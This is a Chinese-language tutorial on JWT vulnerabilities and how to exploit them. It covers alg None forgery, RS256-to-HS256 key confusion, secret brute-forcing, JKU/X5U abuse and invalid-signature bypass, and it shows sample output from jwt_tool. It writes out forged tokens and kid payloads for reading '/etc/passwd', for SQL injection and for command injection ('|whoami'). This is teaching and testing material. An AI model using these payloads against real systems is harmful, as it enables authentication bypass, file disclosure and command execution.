目录
如何防止 JWT 被篡改?
如何加强 JWT 的安全性?
JWT攻击
敏感信息泄露
加密算法
空加密算法
修改RSA加密算法为HMAC
爆破密钥
修改KID参数
任意文件读取
SQL注入
命令注入
修改JKU/X5U参数
JWT tool
安全建议
有了签名之后,即使 JWT 被泄露或者解惑,黑客也没办法同时篡改 Signature 、Header 、Payload
这是为什么呢?因为服务端拿到 JWT 之后,会解析出其中包含的 Header、Payload 以及 Signature 。服务端会根据 Header、Payload、密钥再次生成一个 Signature。拿新生成的 Signature 和 JWT 中的 Signature 作对比,如果一样就说明 Header 和 Payload 没有被修改。
不过,如果服务端的秘钥也被泄露的话,黑客就可以同时篡改 Signature 、Header 、Payload 了。黑客直接修改了 Header 和 Payload 之后,再重新生成一个 Signature 就可以了。
密钥一定保管好,一定不要泄露出去。JWT 安全的核心在于签名,签名安全的核心在密钥
exp
(JWT 的过期时间),永久有效的 JWT 不合理。并且,JWT 的过期时间不易过长。JWT保证的是数据传输过程中的完整性而不是机密性。
由于payload是使用base64url
编码的,所以相当于明文传输,如果在payload中携带了敏感信息(如存放密钥对的文件路径),单独对payload部分进行base64url
解码,就可以读取到payload中携带的信息。
JWT支持使用空加密算法,可以在header中指定alg为None
这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段
{
"alg" : "None",
"typ" : "jwt"
}
{
"user" : "Admin"
}
生成的完整token为ew0KCSJhbGciIDogIk5vbmUiLA0KCSJ0eXAiIDogImp3dCINCn0.ew0KCSJ1c2VyIiA6ICJBZG1pbiINCn0
(header+'.'+payload,去掉了'.'+signature字段)
空加密算法的设计初衷是用于调试的,但是如果某天开发人员脑阔瓦特了,在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None,就可以在payload中构造身份信息,伪造用户身份
JWT中最常用的两种算法为HMAC
和RSA
HMAC
是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)的缩写,它是一种对称加密算法,使用相同的密钥对传输信息进行加解密。
RSA
则是一种非对称加密算法,使用私钥加密明文,公钥解密密文。
在HMAC和RSA算法中,都是使用私钥对signature
字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。
现在我们假设有这样一种情况,一个Web应用,在JWT传输过程中使用RSA算法,私钥pem
对JWT token进行签名,公钥pub
对签名进行验证
"alg" : "RS256",
"typ" : "jwt"
}
通常情况下私钥pem
是无法获取到的,但是公钥pub
却可以很容易通过某些途径读取到,这时,将JWT的加密算法修改为HMAC,即
{
"alg" : "HS256",
"typ" : "jwt"
}
同时使用获取到的公钥pub
作为算法的密钥,对token进行签名,发送到服务器端。
服务器端会将RSA的公钥(pub
)视为当前算法(HMAC)的密钥,使用HS256算法对接收到的签名进行验证。
配置应该只允许使用HMAC算法或公钥算法,决不能同时使用这两种算法。
俗话说,有密码验证的地方,就有会爆破。
不过对 JWT 的密钥爆破需要在一定的前提下进行:
kid
是jwt header中的一个可选参数,全称是key ID
,它用于指定加密算法的密钥
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/home/jwt/.ssh/pem"
}
因为该参数可以由用户输入,所以也可能造成一些安全问题。
kid
参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
}
kid
也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "key11111111' || union select 'secretkey' -- "
}
对kid
参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open
函数,通过构造参数就可能造成命令注入
"/path/to/key_file|whoami"
对于其他的语言,例如php,如果代码中使用的是exec
或者是system
来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了
JKU
的全称是"JSON Web Key Set URL",用于指定一组用于验证令牌的密钥的URL。类似于kid
,JKU
也可以由用户指定输入数据,如果没有经过严格过滤,就可以指定一组自定义的密钥文件,并指定web应用使用该组密钥来验证token。
X5U
则以URI的形式数允许攻击者指定用于验证令牌的公钥证书或证书链,与JKU
的攻击利用方式类似。
4、无效签名
当用户端提交请求给应用程序,服务端可能没有对token签名进行校验,这样,攻击者便可以通过提供无效签名简单地绕过安全机制。
示例:
一个很好的例子是网站上的“个人资料”页面,因为我们只有在被授权通过有效的JWT进行访问时才能访问此页面,我们将重放请求并寻找响应的变化以发现问题
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidGVzdCIsImFjdGlvbiI6InByb2ZpbGUifQ.FjnAvQxzRKcahlw2EPd9o7teqX-fQSt7MZhT84hj7mU
user 字段改为 admin,重新生成新 token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJhY3Rpb24iOiJwcm9maWxlIn0._LRRXAfXtnagdyB1uRk-7CfkK1RESGwxqQCdwCNSPaI
结构:
{"typ": "JWT", "alg": "HS256"}.
{"user": "admin","action": "profile"}.
[新的签名]
将重新生成的Token发给服务端效验,如访问页面正常,则说明漏洞存在
5. 破解HS256(对称加密算法)密钥
如果HS256密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥,例如将密钥字符串用作PyJWT库示例代码中的密钥的时候情况就是如此。
然后,用蛮力方式对密钥进行猜解,具体方法很简单:如果密钥正确的话,解密就会成功;如果密钥错误的话,解密代码就会抛出异常。
此工具可用于测试jwt的安全性,
示例用法:
λ python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn 9dm15Po
$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$$$\ $$\
\__$$ |$$ | $\ $$ |\__$$ __| \__$$ __| $$ |
$$ |$$ |$$$\ $$ | $$ | $$ | $$$$$$\ $$$$$$\ $$ |
$$ |$$ $$ $$\$$ | $$ | $$ |$$ __$$\ $$ __$$\ $$ |
$$\ $$ |$$$$ _$$$$ | $$ | $$ |$$ / $$ |$$ / $$ |$$ |
$$ | $$ |$$$ / \$$$ | $$ | $$ |$$ | $$ |$$ | $$ |$$ |
\$$$$$$ |$$ / \$$ | $$ | $$ |\$$$$$$ |\$$$$$$ |$$ |
\______/ \__/ \__| \__|$$$$$$\__| \______/ \______/ \__|
Version 1.3 \______|
=====================
Decoded Token Values:
=====================
Token header values:
[+] typ = JWT
[+] alg = HS256
Token payload values:
[+] login = ticarpi
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
########################################################
# Options: #
# ==== TAMPERING ==== #
# 1: Tamper with JWT data (multiple signing options) #
# #
# ==== VULNERABILITIES ==== #
# 2: Check for the "none" algorithm vulnerability #
# 3: Check for HS/RSA key confusion vulnerability #
# 4: Check for JWKS key injection vulnerability #
# #
# ==== CRACKING/GUESSING ==== #
# 5: Check HS signature against a key (password) #
# 6: Check HS signature against key file #
# 7: Crack signature with supplied dictionary file #
# #
# ==== RSA KEY FUNCTIONS ==== #
# 8: Verify RSA signature against a Public Key #
# #
# 0: Quit #
########################################################
Please make a selection (1-6)
> 1
其中的选项分别为:
1. 修改JWT
2. 生成None算法的JWT
3. 检查RS/HS256公钥错误匹配漏洞
4. 检测JKU密钥是否可伪造
5. 输入一个key,检查是否正确
6. 输入一个存放key的文本,检查是否正确
7. 输入字典文本,爆破
8. 输入RSA公钥,检查是否正确
一般保证前两点基本就没什么漏洞了。